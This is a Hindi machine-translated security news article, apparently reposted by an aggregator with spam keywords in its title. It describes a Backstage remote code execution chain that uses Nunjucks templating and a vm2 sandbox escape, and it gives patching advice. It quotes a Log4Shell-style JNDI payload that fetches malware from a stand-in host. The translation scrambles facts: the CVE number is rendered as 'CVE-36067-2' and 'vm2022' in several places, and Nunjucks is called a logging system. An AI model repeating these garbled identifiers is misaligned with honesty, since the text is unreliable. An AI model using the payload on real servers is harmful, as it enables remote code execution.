लोकप्रिय बैकस्टेज डेव टूल प्लेटोब्लॉकचेन डेटा इंटेलिजेंस में लॉग4शेल जैसा कोड निष्पादन छेद। लंबवत खोज. ऐ.

लोकप्रिय बैकस्टेज विकास उपकरण में Log4Shell जैसा कोड निष्पादन छेद

क्लाउड कोडिंग सुरक्षा कंपनी ऑक्सआई के शोधकर्ताओं ने एक महत्वपूर्ण बग लिखा है जिसे उन्होंने हाल ही में लोकप्रिय क्लाउड डेवलपमेंट टूलकिट बैकस्टेज में खोजा है।

उनके रिपोर्ट बग कैसे काम करता है, इसका विवरण शामिल है, साथ ही प्रूफ-ऑफ-कॉन्सेप्ट (PoC) कोड दिखाता है कि इसका फायदा कैसे उठाया जाए।

बैकस्टेज वह है जिसे क्लाउड डेवलपर पोर्टल के रूप में जाना जाता है - एक प्रकार का व्यावसायिक तर्क बैकएंड जो आपके व्यवसाय के अंदर और बाहर कोडर्स को आपकी ऑनलाइन सेवाओं के साथ सहभागिता करने की अनुमति देने के लिए वेब-आधारित एपीआई (एप्लिकेशन प्रोग्रामिंग इंटरफेस) बनाना आसान बनाता है।

प्रोजेक्ट के शब्दों में, मूल रूप से Spotify पर बनाया गया था लेकिन अब मुक्त-स्रोत गुटहब पर:

बैकस्टेज डेवलपर पोर्टल्स के निर्माण के लिए एक खुला मंच है। एक केंद्रीकृत सॉफ़्टवेयर कैटलॉग द्वारा संचालित, बैकस्टेज आपके माइक्रोसर्विसेज और बुनियादी ढांचे के लिए आदेश को पुनर्स्थापित करता है और आपकी उत्पाद टीमों को स्वायत्तता से समझौता किए बिना - उच्च गुणवत्ता वाले कोड को जल्दी से शिप करने में सक्षम बनाता है।

बैकस्टेज अंत से अंत तक एक सुव्यवस्थित विकास वातावरण बनाने के लिए आपके सभी बुनियादी ढांचे के टूलिंग, सेवाओं और प्रलेखन को एकीकृत करता है।

नहीं, हम वास्तव में नहीं जानते कि इसका क्या अर्थ है, लेकिन हम यह जानते हैं कि टूलकिट जावास्क्रिप्ट में लिखा गया है, सर्वर-साइड जावास्क्रिप्ट सिस्टम का उपयोग करके चलता है node.js, और एनपीएम पारिस्थितिकी तंत्र से आपूर्ति श्रृंखला निर्भरता के एक जाल में खींचता है।

एनपीएम के लिए छोटा है नोड पैकेज मैनेजर, यह सुनिश्चित करने के लिए एक स्वचालित टूलकिट कि आपका बैक-एंड जावास्क्रिप्ट कोड आसानी से ओपन सोर्स लाइब्रेरी की एक विस्तृत श्रृंखला का उपयोग कर सकता है जो क्रिप्टोग्राफी और डेटाबेस प्रबंधन से लेकर लॉगिंग और संस्करण नियंत्रण तक सब कुछ के लिए लोकप्रिय, पूर्व-लिखित सहायक उपकरण प्रदान करता है।

रिमोट कोड निष्पादन

दुर्भाग्य से, आज प्रकट किया गया बग, अगर पैच नहीं किया गया है, तो आपके नेटवर्क पर व्यापार-तर्क सर्वर के अंदर रिमोट कोड निष्पादन (आरसीई) को ट्रिगर करने का एक तरीका अप्रमाणित बाहरी लोगों (सामान्य रूप से, कोई भी जो आपके सर्वर से एपीआई कनेक्शन बना सकता है) दे सकता है।

सौभाग्य से, हालांकि, अगर हमने ऑक्सी के राइटअप की सही व्याख्या की है, तो वे अपने बैकस्टेज आरसीई के लिए जिस हमले का वर्णन करते हैं, वह कोडिंग खामियों के अनुक्रम पर निर्भर करता है, जो अंततः एक विशिष्ट बग पर निर्भर करता है, जिसे नामित किया गया है। CVE-2022-36067 एक आपूर्ति-श्रृंखला घटक में जो बैकस्टेज पर निर्भर करता है जिसे vm2 कहा जाता है।

यदि आप सोच रहे हैं, तो vm2 एक सामान्य-उद्देश्य वाला एनपीएम मॉड्यूल है जो एक "वर्चुअल मशीन सैंडबॉक्स" को लागू करता है, जिसका उद्देश्य आपके सर्वर पर चलने के लिए संभावित जोखिम भरे जावास्क्रिप्ट को थोड़ा सुरक्षित बनाना है।

vm2022 में वह CVE-36067-2 बग था की रिपोर्ट अगस्त 2022 में खुद ऑक्सी द्वारा (जिसने इसे "सैंडब्रेक" का पीआर-फ्रेंडली नाम दिया था, क्योंकि यह सैंडबॉक्स से बाहर निकल गया था), और तुरंत पैच किया गया vm2 टीम द्वारा लगभग तीन महीने पहले।

इसलिए, जहाँ तक हम देख सकते हैं, यदि आप एक बैकस्टेज उपयोगकर्ता हैं, तो आप यह सुनिश्चित करना चाहेंगे कि आपने अपने बैकस्टेज सेटअप में सभी जोखिम वाले घटकों को पैच कर दिया है...

...लेकिन अगर आपने vm2 घटक को पैच कर दिया है जो उन सभी महीनों पहले सैंडब्रेक के लिए असुरक्षित था, तो ऐसा लगता है कि आप ऑक्सी के नवीनतम प्रकटीकरण में वर्णित शोषण के लिए सीधे असुरक्षित नहीं हैं।

इसके अलावा, यदि आपके बैकस्टेज सर्वर को अच्छे साइबर सुरक्षा दिशानिर्देशों के रूप में कॉन्फ़िगर किया गया है, तो नेटवर्क किनारे और नेटवर्क के अंदर दोनों में प्रमाणीकरण की आवश्यकता के साथ, आपको "सहायक" व्यक्तियों द्वारा निर्धारित "केवल शोधकर्ता उद्देश्यों के लिए" यादृच्छिक जांच का जोखिम नहीं होगा। यह दिखाने के लिए कि वे साइबरखतरा "अनुसंधान" में रुचि रखते हैं।

एक "एमेन्थल चीज़" हमला

सीधे शब्दों में कहें, नई प्रकट सुरक्षा समस्याएं सुरक्षा मुद्दों की एक श्रृंखला का दुष्प्रभाव हैं, जैसे कि एमेंथल पनीर के स्लाइस में छेद, जिसे अनुक्रम में अनुमति दी जा सकती है यदि कोई हमलावर प्रत्येक स्लाइस पर कम से कम एक छेद बनाने में सक्षम हो।

जैसा कि हम इसे समझते हैं, बैकस्टेज में स्कैफ़ोल्डर नामक एक घटक शामिल होता है, जो, जैसा कि नाम से पता चलता है, आपको विभिन्न ऐडऑन (प्लगइन्स के रूप में जाना जाता है) को प्रबंधित करने में मदद करता है जो आपके डेवलपर समुदाय को चाहिए या चाहिए।

स्कैफ़ोल्डर, बदले में, मोज़िला से एक संदेश लॉगिंग सिस्टम का उपयोग करता है जिसे ननजुक्स के रूप में जाना जाता है, जिसमें वह शामिल है जिसे इस रूप में जाना जाता है स्ट्रिंग टेम्प्लेटिंग in node.js हलकों, के रूप में स्ट्रिंग प्रक्षेप जावा दुनिया में, और as स्ट्रिंग प्रतिस्थापन sysadmins के लिए जो बैश जैसे कमांड शेल का उपयोग करते हैं।

यदि स्ट्रिंग इंटरपोलेशन घंटी बजाता है, तो शायद यह इसलिए है क्योंकि यह स्ट्रिंग के केंद्र में स्थित है लॉग4शेल दिसंबर 2021 में भेद्यता वापस, और की Follina 2022 के मध्य में बग।

यह वह जगह है जहां आपको स्ट्रिंग टेम्पलेट में विशेष "कोडिंग वर्ण" के आधार पर लॉगिंग संदेश की सामग्री को फिर से लिखना है, ताकि एक स्ट्रिंग जैसे $USER सर्वर द्वारा उपयोग किए जा रहे खाते के नाम से बदला जा सकता है, या ${PID} वर्तमान प्रक्रिया आईडी पुनर्प्राप्त कर सकता है।

Log4Shell के चरम मामले में, जिज्ञासु दिखने वाला मंत्र ${jndi:ldap://example.com:8888/malware} नामक प्रोग्राम को डाउनलोड करने में सर्वर को सीधे धोखा दे सकता है malware से example.com और चुपचाप इसे पृष्ठभूमि में चला रहा है।

दूसरे शब्दों में, आपको यह सुनिश्चित करने की आवश्यकता है कि एक अविश्वसनीय स्रोत से आने वाला डेटा, जैसे कि एक बाहरी उपयोगकर्ता, कभी भी उपयोग किए जाने वाले स्ट्रिंग टेम्प्लेटिंग या स्ट्रिंग इंटरपोलेशन फ़ंक्शन में आँख बंद करके पारित नहीं किया जाता है। टेम्पलेट पाठ के रूप में ही.

यदि कोई दूरस्थ उपयोगकर्ता, उदाहरण के लिए, अपना उपयोगकर्ता नाम देकर आपके सर्वर को धोखा देने का प्रयास करता है ${{RISKY}} (टेम्पलेटिंग लाइब्रेरी का उपयोग करते हुए मानते हैं ${{...}} इसके विशेष मार्कर के रूप में), आपको यह सुनिश्चित करने की ज़रूरत है कि आपका लॉगिंग कोड उस शरारती दिखने वाले पाठ को सही ढंग से रिकॉर्ड करेगा जैसा कि इसे प्राप्त किया गया था ...

... लॉगिंग फ़ंक्शन पर नियंत्रण रखने के लिए टेक्स्ट को लॉग करने की अनुमति देने के बजाय!

एक पुरानी नर्सरी कविता के शब्दों में, आपको यह सुनिश्चित करने की ज़रूरत है कि आप गाते हुए समाप्त न करें, "मेरे अंदर एक छेद है ${{BUCKET}}, प्रिय लिज़ा, प्रिय लिज़ा, मेरे शरीर में एक छेद है ${{BUCKET}}, प्रिय लिजा। एक छेद!"

एक सुरक्षा कंबल में लपेटा

निष्पक्ष होने के लिए, ननजुक्स की शायद-बहुत-शक्तिशाली टेम्प्लेटिंग/इंटरपोलेशन कार्यक्षमता बैकस्टेज द्वारा अभी तक एक अन्य आपूर्ति-श्रृंखला घटक के अंदर लपेटी गई है, जिसका नाम पूर्वोक्त सैंडबॉक्सिंग सिस्टम vm2 है, जो उस खतरे को प्रतिबंधित करने वाला है जो एक दुर्भावनापूर्ण उपयोगकर्ता बूबी के साथ कर सकता है। -ट्रैप्ड इनपुट डेटा।

दुर्भाग्य से, ऑक्सआई शोधकर्ता बैकस्टेज + स्कैफ़ोल्डर + ननजुक्स में अपने नए खोजे गए स्ट्रिंग टेंपलेटिंग कोड-ट्रिगरिंग पाथ को vm2022 सुरक्षा आवरण में पुराने CVE-36067-2 भेद्यता के साथ जोड़ने में सक्षम थे ताकि बैकस्टेज सर्वर पर संभावित रिमोट कोड निष्पादन प्राप्त किया जा सके। .

क्या करना है?

यदि आप बैकस्टेज उपयोगकर्ता हैं:

  • सुनिश्चित करें कि आपके पास बैकस्टेज और इसकी निर्भरताओं के नवीनतम संस्करण हैं, सहित plugin-scaffolder-backend अवयव। ऑक्सआई के अनुसार, बैकस्टेज कोड में संबंधित बग्स को 01 सितंबर 2022 तक पैच कर दिया गया था, ताकि उस डेटा के बाद जारी होने वाले किसी भी आधिकारिक बिंदु में फिक्स शामिल हों। [2022-11-1T16:00Z] लिखने के समय, जिसमें बैकस्टेज शामिल है 1.6.0, 1.7.0 और 1.8.0, क्रमशः 2022-09-21, 2022-10-18 और 2022-11-15 को जारी किया गया।
  • जांचें कि आपके बैकस्टेज इंस्टॉलेशन में आपकी अपेक्षा के अनुसार प्रमाणीकरण कॉन्फ़िगर किया गया है। ऑक्सी का दावा है कि प्रमाणीकरण डिफ़ॉल्ट रूप से बंद है, और यह कि निम्नलिखित का पालन करने के बाद बैकस्टेज दिशानिर्देश, बैकएंड सर्वर (जो शायद वैसे भी बाहरी रूप से उजागर नहीं होने चाहिए) अभी भी अनधिकृत पहुंच की अनुमति देते हैं। हो सकता है कि आप यही चाहते हों, लेकिन हम अनुशंसा करते हैं कि इस समस्या का उपयोग यह जाँचने के कारण के रूप में करें कि आपका सेटअप आपके इरादों से मेल खाता है या नहीं।
  • जांचें कि आपके बैकस्टेज इंफ्रास्ट्रक्चर के किन हिस्सों तक इंटरनेट से पहुंचा जा सकता है। यदि आपने हाल ही में ऐसा नहीं किया है, तो एक बार फिर, इस समस्या का उपयोग अपने स्वयं के नेटवर्क को बाहर से स्कैन करने के कारण के रूप में करें।

यदि आप नोड.जेएस/एनपीएम उपयोगकर्ता हैं:

  • सुनिश्चित करें कि आपके पास vm2 सैंडबॉक्स घटक का नवीनतम संस्करण है। आपने इसे अपने द्वारा उपयोग किए जाने वाले अन्य सॉफ़्टवेयर की निर्भरता के रूप में स्थापित किया हो सकता है, भले ही आपके पास बैकस्टेज न हो। CVE-2022-36067 भेद्यता को 2022-08-28 को पैच किया गया था, इसलिए आप vm2 संस्करण चाहते हैं 3.9.11 या बाद में।

यदि आप एक प्रोग्रामर हैं:

  • शक्तिशाली लॉगिंग फ़ंक्शंस को कॉल करते समय जितना हो सके रक्षात्मक रहें। यदि आप एक लॉगिंग सेवा (Nunjucks या Log4J सहित) का उपयोग करते हैं जिसमें शक्तिशाली टेम्प्लेटिंग/इंटरपोलेशन सुविधाएँ शामिल हैं, तो ऐसी किसी भी विशेषता को बंद कर दें जिसकी आपको आवश्यकता नहीं है ताकि गलती से उनका शोषण न किया जा सके। सुनिश्चित करें कि अविश्वसनीय इनपुट को कभी भी टेम्पलेट के रूप में उपयोग नहीं किया जाता है, इस प्रकार हमलावरों को अपने स्वयं के सीधे खतरनाक इनपुट स्ट्रिंग्स को रोल करने से रोकता है।
  • किसी भी अन्य सावधानियों के बावजूद, अपने लॉगिंग इनपुट और आउटपुट को साफ करें। याद रखें कि भविष्य में किसी और को आपकी लॉगफाइल खोलने की आवश्यकता होगी। किसी अनजाने बूबी-जाल को अपनी लॉगफाइल में लिखने की अनुमति न दें, जहां वे बाद में परेशानी का कारण बन सकते हैं, जैसे कि स्क्रिप्ट टैग के साथ एचटीएमएल टुकड़े। (कोई व्यक्ति गलती से फ़ाइल को ब्राउज़र में खोल सकता है।)

यहां तक ​​​​कि जब आप किसी विश्वसनीय स्रोत से इनपुट प्राप्त करते हैं, तो इसका उपयोग करने से पहले इसे अपने स्वयं के स्वच्छता जांच के माध्यम से न रखने का शायद ही कोई कारण हो।

(आप कभी-कभी एक अपवाद को उचित ठहरा सकते हैं, उदाहरण के लिए प्रदर्शन कारणों से, लेकिन यह एक अपवाद होना चाहिए, नियम नहीं।)

सबसे पहले, फिर से जाँच करने से आपको उन त्रुटियों का पता लगाने में मदद मिलती है जो पिछले कोडर ने अच्छे विश्वास में की हो सकती हैं; दूसरे, यदि आपके पारिस्थितिकी तंत्र के किसी अन्य हिस्से से समझौता हो जाता है तो यह खराब या गलत डेटा के प्रसार को सीमित करने में मदद करता है।

एमेंथल पनीर के उन स्लाइस के बारे में जो हमने पहले उल्लेख किया था, हालांकि वे पारगम्य हैं यदि प्रत्येक शीट पर कम से कम एक छेद लाइन हो ...

…वे अभेद्य हैं यदि छेद वाली कम से कम एक शीट है जो बिल्कुल भी पंक्तिबद्ध नहीं होती है!


समय टिकट:

से अधिक नग्न सुरक्षा